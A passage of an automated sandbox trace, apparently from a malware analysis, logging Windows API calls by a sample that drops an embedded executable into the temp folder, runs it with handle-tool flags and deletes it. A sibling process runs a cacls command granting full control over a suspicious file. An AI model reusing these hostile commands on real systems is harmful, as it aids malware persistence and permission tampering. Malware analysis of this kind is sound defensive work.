lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0115.976] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fba8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x0cdÌéäþ\x18", lpUsedDefaultChar=0x0) returned 256 [0115.977] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x80) returned 0x5b7730 [0115.977] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0115.977] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40f584) returned 0x0 [0115.977] RtlSizeHeap (HeapHandle=0x5a0000, Flags=0x0, MemoryPointer=0x5b7730) returned 0x80 [0115.977] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0115.977] GetProcAddress (hModule=0x76e10000, lpProcName="IsWow64Process") returned 0x76e2195e [0115.977] GetCurrentProcess () returned 0xffffffff [0115.977] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18ff34 | out: Wow64Process=0x18ff34) returned 1 [0115.977] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fd28, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0115.977] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x18fb20, nSize=0x104 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0115.977] FindResourceW (hModule=0x0, lpName="RCHANDLE64", lpType="BINRES") returned 0x476060 [0115.977] LoadResource (hModule=0x0, hResInfo=0x476060) returned 0x43c648 [0115.977] SizeofResource (hModule=0x0, hResInfo=0x476060) returned 0x37490 [0115.978] LockResource (hResData=0x43c648) returned 0x43c648 [0115.978] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x18) returned 0x5b7c00 [0115.978] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x18f95c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x90 [0115.979] GetFileType (hFile=0x90) returned 0x1 [0115.979] WriteFile (in: hFile=0x90, lpBuffer=0x43c648*, nNumberOfBytesToWrite=0x37000, lpNumberOfBytesWritten=0x18df04, lpOverlapped=0x0 | out: lpBuffer=0x43c648*, lpNumberOfBytesWritten=0x18df04*=0x37000, lpOverlapped=0x0) returned 1 [0115.985] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1000) returned 0x5b9fe8 [0115.985] WriteFile (in: hFile=0x90, lpBuffer=0x5b9fe8*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x18df00, lpOverlapped=0x0 | out: lpBuffer=0x5b9fe8*, lpNumberOfBytesWritten=0x18df00*=0x490, lpOverlapped=0x0) returned 1 [0115.985] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b9fe8 | out: hHeap=0x5a0000) returned 1 [0115.985] CloseHandle (hObject=0x90) returned 1 [0115.986] GetCommandLineW () returned="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner" [0115.986] CreateProcessW (in: lpApplicationName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe", lpCommandLine="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18facc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fb10 | out: lpCommandLine="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner", lpProcessInformation=0x18fb10*(hProcess=0x94, hThread=0x90, dwProcessId=0xf5c, dwThreadId=0xf60)) returned 1 [0116.002] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0xffffffff) returned 0x0 [0116.792] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe")) returned 1 [0116.793] CloseHandle (hObject=0x94) returned 1 [0116.793] CloseHandle (hObject=0x90) returned 1 [0116.793] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b6d00 | out: hHeap=0x5a0000) returned 1 [0116.793] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fedc | out: phModule=0x18fedc) returned 0 [0116.793] ExitProcess (uExitCode=0x0) [0116.794] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b6110 | out: hHeap=0x5a0000) returned 1 Process: id = "213" image_name = "cacls.exe" filename = "c:\\windows\\syswow64\\cacls.exe" page_root = "0x9b5000" os_pid = "0xf54" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "210" os_parent_pid = "0xf34" cmd_line = "cacls \"C:\\Program Files\\Microsoft Synchronization Services\\starbuys.exe\" /E /G 5p5NrGJn0jS HALPmcxz:F /C" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 806 os_tid = 0xf58 Process: id = "214" image_name = "bv6nck8c64.exe" filename = "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe" page_root = "0x25bfa000" os_pid = "0xf5c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "212" os_parent_pid = "0xf4c" cmd_line = "bv6ncK8c.exe -accepteula -c -y -p handles -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 807 os_tid = 0xf60 [0116.468] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12ff38 | out: lpSystemTimeAsFileTime=0x12ff38*(dwLowDateTime=0xe8de8e60, dwHighDateTime=0x1d5d06a)) [0116.468] GetCurrentThreadId () returned 0xf60 [0116.468] GetCurrentProcessId () returned 0xf5c [0116.468] QueryPerformanceCounter (in: lpPerformanceCount=0x12ff40 | out: lpPerformanceCount=0x12ff40*=25843053298) returned 1 [0116.479] GetProcessHeap () returned 0x1a0000 [0116.479] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76f20000 [0116.479] GetProcAddress (hModule=0x76f20000, lpProcName="FlsAlloc") returned 0x76f37190 [0116.480] GetProcAddress (hModule=0x76f20000, lpProcName="FlsFree") returned 0x76f315b0 [0116.480] GetProcAddress (hModule=0x76f20000, lpProcName="FlsGetValue") returned 0x76f43520 [0116.480] GetProcAddress (hModule=0x76f20000, lpProcName="FlsSetValue") returned 0x76f3bd90 [0116.480] GetProcAddress (hModule=0x76f20000, lpProcName="InitializeCriticalSectionEx") returned 0x76f379b0 [0116.480] GetProcAddress (hModule=0x76f20000, lpProcName="CreateEventExW") returned 0x76f6c590 [0116.480] GetProcAddress (hModule=0x76f20000, lpProcName="CreateSemaphoreExW") returned 0x76f6c4c0 [0116.480] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadStackGuarantee") returned 0x76f28050 [0116.480] GetProcAddress (hModule=0x76f20000, lpProcName="CreateThreadpoolTimer") returned 0x76f28820 [0116.480] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadpoolTimer") returned 0x7715b2f0 [0116.480] GetProcAddress (hModule=0x76f20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7714d8c0 [0116.480] GetProcAddress (hModule=0x76f20000, lpProcName="CloseThreadpoolTimer") returned 0x7714d620 [0116.480] GetProcAddress (hModule=0x76f20000, lpProcName="CreateThreadpoolWait") returned 0x76f6ba80 [0116.480] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadpoolWait") returned 0x7715e170 [0116.480] GetProcAddress (hModule=0x76f20000, lpProcName="CloseThreadpoolWait") returned 0x7714c540 [0116.480] GetProcAddress (hModule=0x76f20000, lpProcName="FlushProcessWriteBuffers") returned 0x77191f80 [0116.480] GetProcAddress (hModule=0x76f20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720ec60 [0116.481] GetProcAddress (hModule=0x76f20000, lpProcName="GetCurrentProcessorNumber") returned 0x77190040 [0116.481] GetProcAddress (hModule=0x76f20000, lpProcName="GetLogicalProcessorInformation") returned 0x76f6b820 [0116.481] GetProcAddress (hModule=0x76f20000, lpProcName="CreateSymbolicLinkW") returned 0x76f95ad0 [0116.481] GetProcAddress (hModule=0x76f20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0116.481] GetProcAddress (hModule=0x76f20000, lpProcName="EnumSystemLocalesEx") returned 0x76f6c3d0 [0116.481] GetProcAddress (hModule=0x76f20000, lpProcName="CompareStringEx") returned 0x76f6b980 [0116.481] GetProcAddress (hModule=0x76f20000, lpProcName="GetDateFormatEx") returned 0x76fb0920 [0116.481] GetProcAddress (hModule=0x76f20000, lpProcName="GetLocaleInfoEx") returned 0x76f23c10 [0116.481] GetProcAddress (hModule=0x76f20000, lpProcName="GetTimeFormatEx") returned 0x76fad4e0 [0116.481] GetProcAddress (hModule=0x76f20000, lpProcName="GetUserDefaultLocaleName") returned 0x76f6b790 [0116.481] GetProcAddress (hModule=0x76f20000, lpProcName="IsValidLocaleName") returned 0x76f6b770 [0116.481] GetProcAddress (hModule=0x76f20000, lpProcName="LCMapStringEx") returned 0x76f6b710 [0116.481] GetProcAddress (hModule=0x76f20000, lpProcName="GetCurrentPackageId") returned 0x0 [0116.481] GetProcAddress (hModule=0x76f20000, lpProcName="GetTickCount64") returned 0x76f29450 [0116.481] GetProcAddress (hModule=0x76f20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0116.482] GetProcAddress (hModule=0x76f20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0116.482] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x478) returned 0x1bf070 [0116.482] GetCurrentThreadId () returned 0xf60 [0116.482] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x0, Size=0x28) returned 0x1b5ef0 [0116.482] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0xb00) returned 0x1bf4f0 [0116.482] GetStartupInfoW (in: lpStartupInfo=0x12fe90 | out: lpStartupInfo=0x12fe90*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x14000c2d0, hStdError=0x1bf070)) [0116.482] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0116.482] GetFileType (hFile=0x3) returned 0x2 [0116.617] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0116.617] GetFileType (hFile=0x7) returned 0x2 [0116.618] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0116.618] GetFileType (hFile=0xb) returned 0x2 [0116.618] GetCommandLineW () returned="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner" [0116.618] GetEnvironmentStringsW () returned 0x1c0000* [0116.618] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x0, Size=0xb5a) returned 0x1c0b70 [0116.618] FreeEnvironmentStringsW (penv=0x1c0000) returned 1 [0116.618] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x14002c980, nSize=0x104 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe")) returned 0x33 [0116.618] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x0, Size=0xa8) returned 0x1c16e0 [0116.618] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x138) returned 0x1c1790 [0116.619] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x3e) returned 0x1b6530 [0116.619] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x6c) returned 0x1c18d0 [0116.619] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x62) returned 0x1c1950 [0116.619] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x78) returned 0x1c19c0 [0116.619] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x62) returned 0x1c1a40 [0116.619] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x2e) returned 0x1bde20 [0116.619] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x48) returned 0x1b6580 [0116.619] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x4c) returned 0x1c1ab0 [0116.619] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x28) returned 0x1b5f20 [0116.619] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x1a) returned 0x1b5f50 [0116.619] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x4a) returned 0x1c1b10 [0116.619] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x72) returned 0x1c1b70 [0116.619] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x30) returned 0x1bde60 [0116.619] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x2e) returned 0x1bdea0 [0116.619] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x1c) returned 0x1b5f80 [0116.619] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0xd2) returned 0x1c1bf0 [0116.619] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x7c) returned 0x1c1cd0 [0116.619] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x3a) returned 0x1b65d0 [0116.619] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x90) returned 0x1c1d60 [0116.619] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x24) returned 0x1b5fb0 [0116.619] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x30) returned 0x1bdee0 [0116.619] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x36) returned 0x1bdf20 [0116.619] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x3c) returned 0x1b6620 [0116.619] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x52) returned 0x1c1e00 [0116.619] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x3c) returned 0x1b6670 [0116.619] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x18) returned 0x1c1e60 [0116.619] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x82) returned 0x1c1e80 [0116.619] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x2e) returned 0x1bdf60 [0116.619] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x1e) returned 0x1b5fe0 [0116.619] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x2c) returned 0x1bdfa0 [0116.619] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x54) returned 0x1c1f10 [0116.619] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x52) returned 0x1c1f70 [0116.619] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x2a) returned 0x1bdfe0 [0116.619] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x3c) returned 0x1b66c0 [0116.619] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x54) returned 0x1c0000 [0116.619] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x24) returned 0x1b6010 [0116.619] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x30) returned 0x1be020 [0116.619] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x8c) returned 0x1c0060 [0116.619] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1c0b70 | out: hHeap=0x1a0000) returned 1 [0116.620] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x1000) returned 0x1c0100 [0116.620] GetLastError () returned 0x0 [0116.620] SetLastError (dwErrCode=0x0) [0116.620] GetLastError () returned 0x0 [0116.620] SetLastError (dwErrCode=0x0) [0116.620] GetLastError () returned 0x0 [0116.620] SetLastError (dwErrCode=0x0) [0116.620] GetACP () returned 0x4e4 [0116.620] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x0, Size=0x228) returned 0x1c1110 [0116.620] GetLastError () returned 0x0 [0116.620] SetLastError (dwErrCode=0x0) [0116.620] IsValidCodePage (CodePage=0x4e4) returned 1 [0116.620] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12fe00 | out: lpCPInfo=0x12fe00) returned 1 [0116.620] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12f8a0 | out: lpCPInfo=0x12f8a0) returned 1 [0116.620] GetLastError () returned 0x0 [0116.620] SetLastError (dwErrCode=0x0) [0116.620] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0116.620] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f5a0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ㐾択") returned 256 [0116.620] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ㐾択", cchSrc=256, lpCharType=0x12fbc0 | out: lpCharType=0x12fbc0) returned 1 [0116.620] GetLastError () returned 0x0 [0116.620] SetLastError (dwErrCode=0x0) [0116.620] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0116.620] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f590, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0116.621] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0116.621] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x12f380, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 